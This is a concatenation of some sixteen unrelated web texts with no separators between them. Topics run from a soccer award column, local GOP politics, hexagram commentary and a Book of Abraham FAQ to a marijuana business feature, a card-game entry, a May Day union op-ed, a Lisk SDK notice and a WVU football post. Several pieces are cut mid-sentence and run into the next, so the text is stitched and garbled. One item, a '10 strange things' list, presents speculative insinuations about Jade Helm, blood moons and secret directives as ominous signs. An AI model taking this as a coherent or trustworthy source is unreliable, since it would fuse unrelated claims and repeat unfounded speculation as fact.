Dempsey, the team captain, also played 10 times, scoring six goals and assisting on two others in 899 minutes—and he could add to all of these totals in the next week. Dempsey carried the team with important goals early in the Hexagonal.
Jozy Altidore warrants mention too, having scored 8 goals in 12 matches this year (and a hat trick against Bosnia-Herzegovina). Eddie Johnson leads the field with 15 games played, even if he did come off the bench in six of them.
But Michael Bradley is far and away the best player on the U.S. men's national team, and he deserves to win the award this year.
Bradley's 2013 statistics don't stand out—eight games played, zero goals, two assists so far—but everything else about his game does. He sees the field better than anybody else on the team, goes where he's needed, does whatever it takes, and makes everybody around him significantly better.
He's the team's best destroyer and its best creator.
And when Bradley misses a key match? Well, you remember this one, don't you?
Vision. Passion. Grit. Commitment. Bradley would have made a great Navy Seal.
I can see Dempsey, Donovan, and Altidore receiving first-place votes based on their goalmouth contributions, but I'd like to believe that American soccer pundits recognize Bradley's value to the team beyond the scoresheet, and give him the award he so richly deserves.
Here's what my ballot looks like:
(Sorry, Landon, you get marked down for the Cambodian sabbatical, and because only one of your goals came in a Hex match.)
Agree? Disagree? The FDP ballot asks voters to name their top three choices, so give us your Win, Place, and Show votes below in the Comments.The turmoil within the Craven County Republican Party is a symbolic, localized representation of the nationwide struggle between limited-government forces and statist establishment types for the soul of the GOP.
Thursday evening, county party leaders met and made two bold decisions: (1) to bring charges against county party chairman Paul Hill (see details HERE, HERE, HERE and HERE) and (2) to issue a public rebuke of senator Richard Burr for his comments and actions during the effort to defund ObamaCare.
The unrest appears to have its roots in the May 2012 GOP primaries. State House speaker Thom Tillis and other establishment types from Raleigh were accused of meddling in local primaries and attempting to sabotage conservative candidates. Craven County GOP leaders responded by issuing a resolution of censure against Tillis. Sources on the ground in Craven tell me that Hill acted in concert with state party leaders in Raleigh to sabotage the censure effort and thwart the will of local Republicans. My sources tell me that Hill’s actions regarding the censure were only the tip of the iceberg. I am told frustrations with Hill’s management of the local party have been growing over a period of months and months. Hill’s reaction to the censure, I am told, were merely the straw that broke the camel’s back.
My Craven sources tell me that Hill has 30 days to formally respond to the charges brought against him. At that point, a vote of no confidence will be held. It will require a 2/3 majority vote to remove Hill from office.
I spoke with one of the anti-Hill movement leaders within the Craven County GOP, who told me:
Under Mr. Hill, the local party has been a mess […] It’s not about growing the party and promoting the party platform. It’s been all about preserving and protecting political perks and power for Mr. Hill and his clique of cronies. […] Mr. Hill and his group have been working hard to shut conservatives out of positions of influence in the local party. Mr. Hill has ignored the will of party leaders — especially on things that have passed with a majority vote. […] There is no fundraising mechanism in place for the local party. There is absolutely no support in place for candidates in the 2013 municipal elections.
I asked another Craven GOP source about the resolution rebuking North Carolina’s GOP senator:
ObamaCare is the most serious threat our country has seen in a long time. The state Republican Party condemned the law in its party platform. The RNC passed a resolution demanding Republican leaders in Congress do anything and everything possible to kill off ObamaCare. Burr HAD his marching orders. Instead, he ridicules a serious effort to kill off ObamaCare, and makes statements helping Obama defend it.
NCGOP chairman Claude Pope and his team need to wake up and smell the coffee. There is a lot of anger and resentment at the grassroots level. I see and hear a lot of it here at this site. I talk to a lot of people around the state. The folks in Craven have been a lot more outspoken than others around the state. But the feelings expressed there are very similar to what I am seeing and hearing from other parts of the state.
Pope talked a good game, during his campaign, about unifying the state GOP. Whatever he’s trying, it isn’t working. Raleigh needs to rethink and adjust its game plan if it wants to avoid some very nasty surprises that thwart a potentially fantastic electoral opportunity in 2014.4 - Questioning
Give pointers to the student who asks oneself questions, but delay before answering to the thoughtless questions. That way the student will rely on their judgment.
Line Comments
Line 1
One shows the students the limits which must not be exceeded, then one must trust them.
Line 2
When someone is welcoming and a patient teacher, they are trusted.
Line 3
Do not give in to the impatience of the youngest.
Line 4
If one learns alone, it is because they wanted it.
Line 5
One does not stop asking.
Line 6
Dismiss those who cross the line.
Nuclear hexagram
One returns to see the results of their action.
Complementary hexagram
Renewal is necessary when deficiencies are identified and one has a substitution plan. It will be in their interest to complete the changes. One should forget regrets.
Mirror hexagram
Time will need to be spent. Seek assistance and clarify the situation by identifying the problems. The others will be of great help in finding a solution.
Mutations
Give pointers to the student who asks oneself questions, but delay before answering to the thoughtless questions. That way the student will rely on their judgment.
One shows the students the limits which must not be exceeded, then one must trust them.
When someone is welcoming and a patient teacher, they are trusted.
One does not joke with those who have accounts to settle.
Do not give in to the impatience of the youngest.
One can understand the real reason provided that they are able to listen to those who know.
One assumes that others will not claim anything.
One exhausts oneself by trying to do what the others have asked for.
If one learns alone, it is because they wanted it.
One checks every day to take measurements.
One progresses by spending more time listening to those who have things to say.
One can come to understand what others are saying if they ask them for details.
One is under pressure after having displeased.
One has received offers that they study with attention.
One hears the blame of those that one has hurt without paying attention.
One shows others that one was right.
One does not stop asking.
One follows parallel paths.
One goes through difficult times looking at their problems.
One will do things that others could not have done.
One hears comments that do not concern those who profess them.
One encourages those who do not want to jump in the water.
Guests are offered to begin with the introductions.
One invites their guests to change outfit.
One stops thinking like everyone else to search for a way to invent something more robust.
One can subtract half of what they have received to help others progress.
One thinks that they will be allowed to speak if they tell others beforehand.
One knows the reasons for the progress of the works.
One talks about different topics depending on who they are talking to.
One guides their friends when they are in difficulty.
Others want to know what they can get for their services
One would be well advised not to change their mind too often.
Dismiss those who cross the line.
One believes that others are waiting for answers when they do not want to be taught lessons.
One must be available at the right time to accommodate those who seek shelter.
One speaks as if others didn't know what to do.
One would like to ward off those who are too close.
One calls someone to tell them what they think of their neighbors.
One follows plans that others would very much like to know.
One raises a point that requires the attention of all those who want to be successful.
One undertakes actions that lead to choices that are difficult to justify.
One sets a prerequisite before striking a deal.
One treats the incurable diseases in the hope of relieving patients.
One warns their allies that they will have difficulty supporting them.
One sees that their reputation is tainted by superficial questions.
One speaks without regrets with those who have declared that they have no faith.
One will be able to make compromises so that others do not get carried away.
One prepares a true welcome to those who are deemed worthy of being honored.
More resources are planned so that others are received comfortably.
One will give tokens of friendship to those with who have shown.
One will have a lot of panache if they assume the consequences of their actions.
One leaves so that others know that they may continue without being observed.
One thinks they will still have some attractions to bring in the most able and show them what one has designed.
One would do well not to compromise oneself with dishonest people.
One will be ready to say things that others will not like to hear.
One expects troubles so they get ready to fight.
One recovers strength until the others arrive.
One prepares others to do as if they were gifted.
Others are exerting pressures to make one lose confidence.
One is often referring to those who have impressed them the most.
One promises others that one will be willing to do what they ask.
One assesses the chances of reaching their goal.
One raises a question that interests those who dared not to ask it.
One wants to use items that others do not want to return.Indianapolis Mayor Greg Ballard said Tuesday that the city’s Homeless Bill of Rights — a measure he vetoed Friday — would have accomplished “nothing.”
The City Council passed the proposal earlier this month in an attempt to decriminalize living on the streets. Ballard explained in a statement Tuesday that “the rights enumerated already exist for all citizens.” Reiterating those rights, he said, would do “nothing.”
Proposal 291 explicitly protected the ability of homeless people to move freely and carry out basic functions in public spaces. It also would have outlawed discrimination against homeless people when they attempt to access city services, obtain emergency care, register to vote or maintain the privacy of their personal property.
Homeless advocates said Ballard’s view that the rights already exist fails take into account the discriminatory manner in which laws against sitting, standing, sleeping or eating in public areas are enforced by police.
“This argument that everyone already has these rights so therefore we don’t need to protect them" isn't backed up with the police record or street outreach, said Paul Boden, director of the Western Regional Advocacy Project (WRAP), on Tuesday.
The bill’s sponsor, Indianapolis City Councilman Leroy Robinson expressed his disappointment on Twitter, writing, “Very sad day for our city with the VETO by @MayorBallard of Proposal #291. NO protections or Bill of Rights for the HOMELESS in Indianapolis.”When the Book of Abraham was first published to the world in 1842, it was published as “a translation of some ancient records that have fallen into [Joseph Smith’s] hands from the catacombs of Egypt, purporting to be the writings of Abraham while he was in Egypt, called ‘The Book of Abraham, Written by His Own Hand, upon Papyrus.’” The resultant record was thus connected with the papyri once owned by Joseph Smith, though which papyrus of the four or five in his possession was never specified.
Those papyri would likely interest only a few specialists—were the papyri not bound up in a religious controversy. Given the amount of information available, the various theories, and the variety of fields of study the subject requires, misunderstandings and misinformation often prevail. Every Latter-day Saint should read the Church's essay on the Translation and Historicity of the Book of Abraham. In addition, here are seven commonly asked questions and their answers to help Church members better understand the Book of Abraham and its relationship to the Joseph Smith Papyri.
1. Is the text of the Book of Abraham on the Joseph Smith Papyri?
No. The Book of Abraham is not on the surviving fragments of the Joseph Smith Papyri.
2. Doesn't the Church claim that it is?
No. The Church of Jesus Christ of Latter-day Saints has no official position on which papyri Joseph Smith translated the Book of Abraham from. They do have an official position that the Book of Abraham is “a translation of some ancient records that have fallen into [Joseph Smith’s] hands from the catacombs of Egypt.” The translation contained “the writings of Abraham while he was in Egypt.” The question of which ancient records, Joseph Smith did not publicly specify, and the Church has not specified the matter any further.
3. How did Joseph Smith translate the Book of Abraham?
The exact process is not known. The only statement is that it was done by direct inspiration from heaven. Although some 19th-century accounts claim that Joseph Smith used the Urim and |
decision was based on his view of "the overall best interests of the party... the state and the nation."
He's young. At 40, Schatz will be the youngest member of the U.S. Senate when he takes office Thursday. He will not, however, hold that role for long. In January, Connecticut's senator-elect, Rep. Chris Murphy, will be the youngest senator when he takes office at 39. Before serving as lieutenant governor, Schatz had served as a member of the Hawaii House of Representatives from 1998 to 2006 and was the chair of the state Democratic Party from 2008 until joining Abercrombie's administration.
4. Classy Entrance Isaac Brekken / AP
Before even taking national office, Schatz is going to be the president's guest on Air Force One. A White House official said Wednesday evening that Schatz will fly to D.C. with the president on Air Force One overnight from Wednesday to Thursday, according to the White House pool report.
5. Quick Seniority Marco Garcia / AP
In his second week in office, Schatz will become Hawaii's senior senator because Sen. Daniel Akaka did not run for reelection this November. Hawaii Senator-elect Mazie Hirono, although elected to take Akaka's seat in November, will not be taking office until January. Accordingly, Schatz, taking office Thursday, will be the state's senior senator when the 113th Congress begins.
6. Global Warming J Pat Carter / APLovely Ecuador, right there in the middle of the planet. The majesty of the Pacific Ocean The Grandeur of the Andes, The Inca, they all call you to Ecuador. The first Dialect of Spanish I learned was Ecuadorian.
Their Marijuana laws have legalized, not just decriminalized, up to 20 grams of marijuana for personal use. This, better than the US, is actually a push back from 300 grams!! So even the push back leaves things better than the US. Also, coca leaves are legal. You can get leaves, tea, etc. Completely legal, completely socially acceptable as well.
Education scores fair marks in Ecuador. It isn’t great, only compulsory and free until 9th grade, but not bad either. Obviously, the cities are going to have better education. The furthrr years are there, 10-12th, they just aren’t required, and they start to cost money, perhaps even a move onto a Private school for the final two years.
Now as to healthcare in Ecuador, things are quite good. A Universal system, guaranteed to all residents. You can buy further, private insurance, and use private hospitals as well.
Just to return to Culture and adventure, Ecuador would be amazing. Mountains, rivers, ancient cultures. What an amazing place to turn my little ones into Multilingual citizens of the World. Yes, Ecuador makes the cut!
Want More Immigration Research? Click here https://wildnwoollywordsmith.wordpress.com/2017/08/01/immigration-to-chile-land-of-the-inca-well-yeah/
AdvertisementsThe NCHC released a statement on Wednesday saying that they will not move forward with any possible expansion at this time.
Here is the complete statement from league commissioner Josh Fenton:
“After careful consideration and a thorough vetting process, the National Collegiate Hockey Conference’s Board of Directors announced the Conference will not move forward with membership expansion at this time. We will continue to be attentive to the college hockey landscape and any future changes that may come. However, our focus right now is guided by what we can do to strengthen our current membership into the future.”
Both Minnesota State and Arizona State had applied to join the conference, presumably as a package deal, for the 2018-2019 season.
Minnesota State declined comment in the wake of the news:
“At this time” may be the key part of the NCHC’s statement. The linchpin of Arizona State’s acceptance seemed to be the ability find a new arena to play in. As we discussed last week, there is still a lot of work to be done before a new arena partnership with the Arizona Coyotes becomes a building they can play in, and getting it done in less than 800 days seemed unrealistic.
That means Arizona State is likely to stay an independent program until the issue can be revisited. Being an independent is generally extremely difficult to do in college hockey due to the difficulty of fielding a full schedule, especially late in the season. So far, scheduling has not been a problem for the Sun Devils, and hopefully that will continue to be the case as they work to gain conference membership.By Michael Snyder,
Have you noticed that events have begun to accelerate? Over the past few weeks, things have officially started to get very weird. Chinese stocks are crashing, the Greek debt crisis is spiraling out of control, the New York Stock Exchange was down for about four hours on Wednesday thanks to a “technical glitch”, and global politicians have been acting very strangely. After several years of relative calm, could it be possible that the second half of 2015 will usher in a time of chaos and confusion on a worldwide scale? Personally, I have never been more concerned about a period of time as I am about the last six months of 2015. And if I am right, what we have seen so far is just the tip of the iceberg. The following are 10 very strange things that have happened in just the past few weeks…
#1 On Wednesday, the New York Stock Exchange, United Airlines and the Wall Street Journal were all taken down by unexpected “technical glitches“. Authorities are assuring us that hackers were not responsible for any of this.
#2 In China, a full-blown stock market crash is unfolding. The Shanghai Composite Index has plummeted more than 30 percent in less than a month, and the Chinese version of the NASDAQ has dropped by more than 40 percent. The amount of “paper wealth” that has been lost in China is 15 times greater than the GDP of Greece.
#3 Just the other day, hackers were able to hack into a German surface-to-air missile battery…
Well, this is absolutely terrifying. According to The Local, hackers attacked a German Patriot surface-to-air missile battery, like the one shown above, stationed along the Turkish-Syria border. The cyber attack caused the battery to carryout “unexplained” orders. It’s believed that cyber attackers managed to exploit the Patriot battery in two different ways. The first exploit was through the Sensor-Shooter-Interoperability, which controls interactions between the actual, physical missile launcher and its control system, while the other was on the guidance chip. These weaknesses could have allowed the hackers to steal data or, more worryingly, actually take control of the battery.
#4 Earlier this week, Barack Obama told reports that “we’re speeding up training of ISIL forces“
Just a few days ago, the U.S. Mint announced that they were sold out of American Eagle silver coins on the exact same day that the price of silver hit a new low for 2015. How does that make any sense?
#6 On June 30th, an unexpected blood moon was seen over a significant portion of the United States. The following is an excerpt from a recent article by Caiden Cowger…
On June 30, 2015, a surprise blood moon appeared in the sky, that was only seen in the United States. According to the National Weather Service, large wildfires in Canada have been burning. Due to extremely high winds, smoke from these fires have traveled into the United States. According to NBC-Chattanooga, “the smoke should remain in the higher atmosphere and not affect air quality, it gives the moon and sun a rosy glow. Here’s what causes the effect: As light from the moon or sun enters the atmosphere it gets scattered by particles like water, aerosols, and in this case smoke. Green, blue, and purple colors are sent in all directions but colors with longer wavelengths like red, orange and yellow continue through the atmosphere and remain visible to the human eye.”
#7 Even though NASA recently stated that they know of “no asteroid or comet currently on a collision course with Earth” and that “no large object is likely to strike the Earth any time in the next several hundred years“, NASA has teamed up with the National Nuclear Security Administration to try to figure out a way to use nuclear weapons to destroy asteroids that are threatening our planet. If there is no threat, why spend so much time and energy on this?
#8 A couple of weeks ago, we learned that Barack Obama has issued 19 “secret directives“. What is Obama planning, and why won’t he let the general public know about it?
#9 This week, Pope Francis called for the creation of “a new economic and ecological world order where the goods of the Earth are shared by everyone, not just exploited by the rich.” So exactly what would such a “world order” look like?
#10 The Greek people just overwhelmingly voted to reject austerity, so EU officials have responded by giving the Greek government a one week deadline to come to an agreement that will include even more austerity for the Greek people. If the Greek government does not submit, EU officials are threatening them with bankruptcy, the collapse of their banking system and expulsion from the euro.
Things promise to only get stranger from here. One week from today, on July 15th, a massive military exercise known as “Jade Helm” begins. More than 1,000 members of the U.S. military will be taking part in drills that will be conducted in the states of Texas, Colorado, New Mexico, Arizona, Nevada, Utah, California, Mississippi and Florida.
Then in September comes the end of the Shemitah year, the fourth blood moon of this tetrad, the launch of a radical new sustainable development agenda at the United Nations that is being endorsed by the Pope, and a vote on a UN Security Council resolution that would formally establish a Palestinian state.
And that is just the stuff that we know about.
So what do you think we should expect from the rest of this year?
Please feel free to join the discussion by posting a comment below…
This article (10 Very Strange Things That Have Happened In Just The Past Few Weeks) is free and open source. You have permission to republish this article under a Creative Commons license with attribution to the author, endoftheamericandream.com and TrueActivist.com.Have you Googled today? Perhaps you did a quick search of the government shutdown? Or maybe you decided to look up Obamacare, which launches its insurance exchanges today, even as much of Washington closes down due to Congressional gridlock?
If you did, you encountered another casualty of the paralysis in D.C.: The 123rd anniversary of Yosemite National Park.
Talk about the birthday blues.
Sure, Google is paying fond tribute to the park with a cluster of Yosemite patches arrayed around the most important real estate on the Internet – the Google search bar. But it’s got to be a hollow celebration. After all, Yosemite is closed today, along with all other national parks. They are victims of the shutdown and the deadlocked battle over the budget down in D.C.
Yet, seeing all the Yosemite history in the form of those patches might bring home the costs of the shutdown stalemate just a little more clearly for people outside of the Washington beltway, which can seem like an alien environment to most Americans.
Indeed, close Yosemite on its birthday, and that makes an impact, doesn't it? I mean, just think of all the families who were planning a long-awaited trip to to the park? Surely, some planned to trek there this week to mark its anniversary as a national park.
Yet today, amid the shutdown, the closest anyone can get to a Yosemite visit is the nostalgia of that Google doodle, and its collection of so many Yosemite patches from decades before, when the park endured.
So what do you think of Google’s birthday nod to Yosemite – and the poignant costs it captures of the government shutdown?
Did it cause you to pause before conducting your search? Or did you even notice?
Bid your birthday wishes to Yosemite in the comments.Ben Wu took a six-figure pay cut when he left a career in private equity for a shot at the marijuana boom.
Trained to spot small businesses with big potential, he started this year as chief executive of Kush Bottles, a Santa Ana company that sells child-resistant plastic cannabis containers.
It took some persuading to get his parents and girlfriend to embrace the move. But Wu insists it was a sound business decision. As the pot industry blossoms, he reasoned, a robust supply chain is needed to help grow, package and market legal marijuana.
"The sky's the limit," said Wu, 35, a New York University business school graduate and former vice president at Wedbush Capital Partners. "As long as states continue to adopt, we're going to double growth each and every year."
Container brands like Kush Bottles are among a slew of ancillary companies joining what many are calling the green rush. Where there's weed, there's also a growing need for everything from greenhouses and fertilizer to pipes and vaporizers.
The sky's the limit. As long as states continue to adopt, we're going to double growth each and every year. — Ben Wu, CEO of Kush Bottles
"The annual revenue is easily in the hundreds of millions, and likely much more," said Chris Walsh, editor of website Marijuana Business Daily.
Demand for pot-related products and services is expected to grow sharply as more states loosen marijuana laws. Already, 21 states and Washington, D.C., allow the sale of some form of pot.
Entrepreneurs are attracted by the industry's open field, with few established players and many untapped markets. Some say the marijuana boom reminds them of the Gold Rush a century and a half ago.
"We're selling shovels in a gold rush is all we're doing," said Rich Nagle, a former electrical engineer who now peddles an automated indoor marijuana growing system, designed to be managed remotely with a smartphone.
Don Bartletti, Los Angeles Times Ben Wu gave up a career in private equity to lead a Santa Ana company that sells child-resistant plastic cannabis containers. Ben Wu gave up a career in private equity to lead a Santa Ana company that sells child-resistant plastic cannabis containers. (Don Bartletti, Los Angeles Times)
No one has been able to estimate the potential market for ancillary products and services. But legal cannabis sales are expected to grow to $2.57 billion this year, up from $1.53 billion a year ago, according to ArcView Group, a San Francisco investment network and market research firm focused on legal cannabis.
In addition to product suppliers, marijuana retailers and dispensaries are also increasingly seeking lawyers, accountants and security consultants, said Troy Dayton, CEO and co-founder of ArcView. But many of those professional firms still avoid the pot business.
"The reason there's so much opportunity in ancillary businesses is because the industry is being underserved by traditional players," Dayton said. "In part, it's because they fear the reputational risk and they fear the market is too small. But it's growing fast."
Growers and dispensaries offer some of the quickest returns on investments and fattest profit margins. But they also are exposed to risks that don't affect supply chain companies.
The federal government still classifies marijuana as a Schedule 1 drug, on par with heroin and ecstasy. That means any enterprise that handles pot faces the threat of closure or prosecution, no matter what state laws say. Because it's a cash-only business, companies that sell pot are also at higher risk of being robbed or burglarized: Most banks are prohibited from taking deposits from marijuana sellers.
"Any time you're literally touching marijuana, you're subject to a different set of laws," said Justin Hartfield, founder of Weedmaps, a review website that is similar to Yelp but for pot dispensaries. "We don't touch the product itself, and that's how we're able to get a bank account."
Hartfield's site is one of the most recognized brands to emerge out of the recent rise of legalized pot. Founded in 2007, shortly after Hartfield received his first medical marijuana card, Weedmaps grossed about $25 million in revenue last year.
Dispensaries post their menu of marijuana plants and prices for a monthly fee of $420.
Hartfield is building an empire around legalized marijuana. The Weedmaps site is one of a constellation of ventures, including the recently redesigned Marijuana.com, a news and forum site, and MMJ Menu, a point-of-sales software for tracking marijuana sales, inventory and patients.
Hartfield, who grew up in Hawthorne, is betting the federal government will relax marijuana laws, fueling the growth of his brands. His treasure trove of data on usage and pricing, as well as an expanding network of sellers, helps his business stand out.
"I think we've grown a business and brand that would be either ripe for acquisition or something we could build out long term. I think we have a lot of value. So we're begging for legalization," Hartfield, 30, said as he sat inside his sprawling new headquarters at an office park in Irvine.
Wu, of Kush Bottles, is closely following state-level legalization efforts. As more states permit pot, regulators will be looking at child safety requirements for plastic pharmaceutical containers that typically carry much of the nation's medical marijuana.
Unlike child-resistant twist-off containers, Kush Bottles opens only when squeezed with enough strength. That's intended to stop children 5 and younger from opening them.
"This is pharmaceutical packaging," Wu said. "We didn't reinvent the wheel. This industry is really great at adapting what's already out there and using it for their products."
Part of Wu's business strategy is having his sales team call or visit dispensaries to educate them about the laws for containers. Several states require child-resistant bottles. California has no such rules, but about half of Kush Bottles' sales come from the Golden State.
Wu said the company's focus on safety alleviated some of his girlfriend's reservations about his job change. She initially feared that Wu would become the next Walter White, the chemistry teacher turned meth cook in the hit TV drama "Breaking Bad."
The new job took some adjusting. Wu put away his business suits and learned how to convert grams to ounces. To boost his cred, he schooled himself on the lingo for different strains of marijuana such as OG Kush and Sour Diesel.
Still, when strangers ask him what he does for a living, he simply says he's in pharmaceutical packaging.
"I go to sleep very easily knowing the DEA is not going to kick down my door," Wu said.
david.pierson@latimes.comAgram is a popular Trick-taking game within the last trick taking group. Agram originates from Niger and is related to card games in other regions of the world, including Spar or Sipa in Ghana and West Africa, and a variant Sink-Sink. In Cameroon it is called Fapfap.[1]
Agram is typically played with two to four people; however, it can be played with up to seven. Agram is a unique trick game in that the winner of the last trick in the round, wins the round.[1]
Gameplay [ edit ]
Setup [ edit ]
Agram uses the Aces, 10, 9, 8, 7, 6, 5, 4, and 2 of each suit of the deck. The ace of spades is removed from the deck. The ace of spades is commonly referred to as the "Chief". The remaining 35 cards are shuffled and placed into a deck. [2]
Dealing [ edit ]
Each player is dealt six cards in two sets of three cards by the dealer.
Trick Winning [ edit ]
The player to the left of the dealer leads with a card of their choice. The player to their left then follows with their card. If possible they must follow suit; however, if they are unable to, they may play a card of any suit. If the card played does not belong to the original suit, it has no value. After this player plays a card the remaining players each play a card, staying in order. The player who has the highest card of the original suit (suit of the leading card of the round), wins the trick.[3] The player who wins the trick leads with a card for the next trick, and play continues to the left of the leader.
Scoring [ edit ]
The player who wins the sixth/final trick, wins the round. There is no convention as to how many round are played to decide the winner.[4]
Variations [ edit ]
Sink-Sink is commonly played in Niger. What distinguishes Sink-Sink from Agram is that each player receives five cards instead of the original six. These cards are dealt in one set of three and another of two. [5]
Agram (Mali) [ edit ]
Agram is played slightly differently in Mali. Only 31 cards are used: the Ace (not Ace of Spades), King, Queen, Jack, 10, 9, 8, 7. Five cards of dealt (same way as Sink-Sink) and the game is played in the same way. However, there is one main difference. The ranking of the cards is very unusual. The ranking is as follows: A, K, 10, Q, 9, 8, J, 7. [5]
Bibliography [ edit ]
Hargrave, Catherine Perry (2000). A history of playing cards and a bibliography of cards and gaming (3rd ed.). Mineola, N.Y.: Dover. ISBN 0-486-41236-9.Even though he prove his mettle against Captain America, Ant-Man, Falcon, and Winter Soldier in Civil War (2016), Tony Stark doesn't want his ace-in-the-hole teenage superhero to grow up too fast, so he tells Peter Parker -- at the beginning of Spider-Man: Homecoming -- he can't become an official member of the Avengers until he graduates college. Drats! And when the Vulture and his crew begin wreaking havoc with their dangerous and advanced weaponry, Stark tells Pete to sit this one out, let the big boys handle it. Of course, Pete is never one to shy away from being a hero, and his involvement in the ferry scene causes Stark to punish him, taking away his sweet Civil War suit (no backsies!).
All of those Tony Stark/Iron Man scenes, including the moneyshot of Iron Man soaring through New York with Spidey slinging webs alongside him, were in the trailers. That begs the question: How many scenes does Robert Downey Jr. have in the film? According to co-producer Eric Carroll, in total, Downey “might be in like five or six [scenes].”
And what is Stark's relationship with Peter like? “I think we’re seeing the beginning of a sort of father-son relationship," Holland explained to SR. "Obviously Tony hasn’t got any kids, and Peter at this point hasn’t got any male figures in his life, so I think there’s a really lovely dynamic that Robert and I are forming. And, no, let me take that back. I think Robert is more like a big brother than he is a father figure because he picks on him and he is down on him quite a lot. But then there is that level of him caring about him like his own, and Robert has really brought something lovely to the character. It’s a very different side of Stark than you’ve ever seen before.” A young Peter Parker/Spider-Man (Tom Holland), who made his sensational debut in Captain America: Civil War, begins to navigate his newfound identity as the web-slinging super hero in Spider-Man: Homecoming. Thrilled by his experience with the Avengers, Peter returns home, where he lives with his Aunt May (Marisa Tomei), under the watchful eye of his new mentor Tony Stark (Robert Downey, Jr.). Peter tries to fall back into his normal daily routine – distracted by thoughts of proving himself to be more than just your friendly neighborhood Spider-Man – but when the Vulture (Michael Keaton) emerges as a new villain, everything that Peter holds most important will be threatened.by Clarence Thomas, past secretary-treasurer for Local 10
For the second consecutive year, the ILWU Local 10 will be withholding its labor for eight hours to commemorate May Day. This May Day, Local 10 is calling for a “National Day of Mourning” for Black and Brown unarmed victims of police killings across the country. In 2015, the May Day theme was to “Stop Police Terror.”
Democratic presidential candidate and U.S. Sen. Bernie Sanders has been invited to speak May Day. While there is no confirmation as yet, the invitation is being strongly considered by his campaign organizers. Local 10 and the ILWU’s International Executive Board have endorsed his candidacy.
Danny Glover has been campaigning with Bernie Sanders in various states throughout the country and most recently in New York. Glover, actor and activist, raised in San Francisco, will appear at one of the rallies. As a student leader at San Francisco State University, he led the longest student strike in America history, which established the School of Ethnic Studies, and he was a prominent figure in the anti-apartheid struggle.
Also invited to speak is Mike Farrell, cast member of popular TV series M*A*S*H*, a life-long opponent of the death penalty. Farrell has debated and spoken about this issue on many occasions across the country. Additional speakers will include family members of victims of police violence and community, social justice and labor activists.
This year’s May Day festivities include a pre-rally at the Local 10 union hall located at 400 North Point St. in San Francisco Fisherman’s Wharf to be followed by a march and rally at Harry Bridges Plaza near the Ferry Building. The ILWU was born out of the struggle against protesting police violence against maritime workers in all major West Coast ports in the Big Strike of 1934. The San Francisco Labor Council is supporting ILWU Local 10’s march along the Embarcadero, site of the longshoremen’s battle with police in the Big Strike of 1934.
May Day, International Workers Day, is a holiday “born in the USA” to celebrate labor’s struggle to gain the eight-hour work day. In 1884, the Federation of Organized Trades and Labor Unions passed a resolution in Chicago declaring that eight hours would constitute a legal day’s work on May 1, 1886.
Labor’s struggle to achieve the eight-hour work day faced bloody repression as business-controlled government tried to crush the workers’ movement. The workers were determined to end long hours of brutal exploitation and were victorious.
Local 10 has been in the vanguard of labor in its acts of resistance protesting racial policing. This year’s May Day mobilization is advancing five demands supported by Rev. Clementa Pinkney, South Carolina state senator, church pastor and one of the slain Emanuel 9 of Charleston. Demands include: 1. End to racist policing; 2. Economic justice, a $15 living wage now; 3. Health care for all, Medicaid expansion; 4. Quality education as a basic human right; and 5. Voting rights expansion.
Longshore unions can take the lead in building workers’ solidarity to end racist policing and also achieve economic and social justice for the working class as it did in 1886 to achieve the eight-hour work day. If the working class is to be heard, then labor must shut it down. All out for May Day 2016.
Clarence Thomas, past secretary-treasurer for Local 10, organizer for previous May Day actions, third generation longshoreman and member of Local 10 for 30 years, can be reached at thomas-clarence@sbcglobal.net.Lisk Blockchain Applications — The Future of the SDK
Isabella Dell Blocked Unblock Follow Following Feb 8, 2017
Image courtesy of legalexecutiveinstitute.com
Over the past year we have seen Lisk evolve from its original Crypti code base into what we have today. The core has grown from its original SQLite implementation to the current PostgreSQL implementation. It has grown by thousands of lines of code, but what hasn’t happened is the growth of the Blockchain Applications SDK with the changes in Lisk-Core. While the existing implementation does work, it is not as easy to leverage as one would expect. Going forward the existing Applications SDK will be deprecated and archived.
Why are we doing this?
We want to create a better solution for all users. In order to promote organic growth of the applications platform, a complete rewrite of the SDK code base is required. In order to do that we must shed the old, outdated code and refresh it with new efficient code that works for everyone.
There is a secondary reason for this change in direction. We want to ensure that we provide a quality product to anyone interested in developing on top of Lisk. It needs to work every time, for everyone involved. We will address the quality issue as part of our ongoing review of the existing code. The same review process will be applied to the development of the new code to ensure the quality remains high.
When will this happen?
As part of the 0.6.0 release we will be removing the Applications directory link from Lisk-UI. This change is aimed at reducing confusion about the availability of the application’s platform itself. We feel it’s important to offer these features when they are ready, instead of offering a potentially confusing experience for developers and users. The Blockchain Applications API will still be available for anyone willing to try and implement an application on the previous code, but we cannot guarantee full backwards compatibility between the new SDK and the old SDK.
Changes to the Roadmap.
As part of this process we will see some revisions to the phases of the Roadmap. Initially, we had planned to stabilize the existing SDK. After extensive study we have concluded that this is not the correct path to take. As such we will revise the Roadmap and provide further information about the revision at a later date.
How can you help?
Send us your ideas and offer suggestions on functionality you would like to see implemented into the platform. We make Lisk for everyone’s benefit and it’s important for us to get your feedback in order to grow the platform to support all use cases. As always, we welcome pull requests that offer improvements in this realm as well.
Final Words
As part of these efforts we plan to focus our efforts on the new SDK and ensuring that the quality meets not only our standards, but the standards of developers who wish to use our SDK. While much of this work is still in the conceptual stage, it is important to ensure the platform is very well thought out and will cover the majority of cases we think it will be used for. As always, we appreciate any feedback you might have and welcome you to join us on our chat platform, lisk.chat. We appreciate the time and energy our community has invested into Lisk to date and know that this change will put us on the right path for the future.I've watched a lot of football. I've watched a lot of WVU football. I've seen blowouts, upsets, great wins, terrible wins, good games, bad games, and everything in between. I've seen WVU manhandle teams that were supposed to be so much better than us that no amount of reason could even possibly suggest that we would win in any alternate reality. I've seen a 28 point favorite score 9 points at home...at night...
This weekend, I watched something I hadn't seen. I saw 56 points scored in a half, by one of the best offenses I've ever witnessed. EVER. Remember that game we played against Clemson a couple years ago where everything clicked and we scored 70? That was fun. Now we know how Clemson felt. Actually, we don't because 56 points in a half is unheard of for anyone, let alone WVU. Baylor simply couldn't miss. They couldn't NOT score. Everything they threw was perfect and everything they caught stuck to their gloves. In fact, I want every glove from that game tested for Stick 'em.
The Maryland game this year was the polar opposite of this game. We handed them turnovers and points to go along with them. Nothing was handed to Baylor this weekend except miles and miles of open turf. Heck, we even had a bounce or two go our way with a muffed punt (that looked suspiciously like Carswell back there for Baylor didn't it?) and a couple interceptions. It didn't matter in the end, because Baylor simply outmatched us to the man. It's hard to complain about that.
